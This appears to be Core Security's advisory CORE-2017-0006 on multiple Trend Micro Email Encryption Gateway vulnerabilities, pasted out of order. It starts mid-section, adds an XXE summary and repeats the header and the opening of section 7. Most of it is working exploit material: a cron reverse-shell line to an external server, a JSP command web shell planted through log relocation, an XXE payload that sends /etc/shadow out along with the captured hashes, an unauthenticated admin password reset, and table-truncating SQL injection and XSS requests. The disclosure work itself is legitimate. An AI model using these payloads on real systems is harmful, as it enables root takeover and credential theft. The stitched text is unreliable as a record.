combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. However, this endpoint remains accessible without authentication even after the appliance is configured, which would allow attackers to set configuration parameters such as the administrator username and password. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

An XML external entity injection (XXE) vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an authenticated user to expose a normally protected configuration script. Attackers can exploit this issue to gain access to sensitive information or cause denial-of-service condition. A remote attacker could exploit this vulnerability by sending specially crafted XML data via the 'pciExceptionXml' parameter to obtain protected configuration scripts. *Advisory Information* Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0006 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities Date published: 2018-02-21 Date of last update: 2018-02-21 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. This enables easy integration with other email server-based products, be them content scanners, mail servers, or archiving solutions." Multiple vulnerabilities were found in the Trend Micro Email Encryption Gateway web console that would allow a remote unauthenticated attacker to gain command execution as root. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: 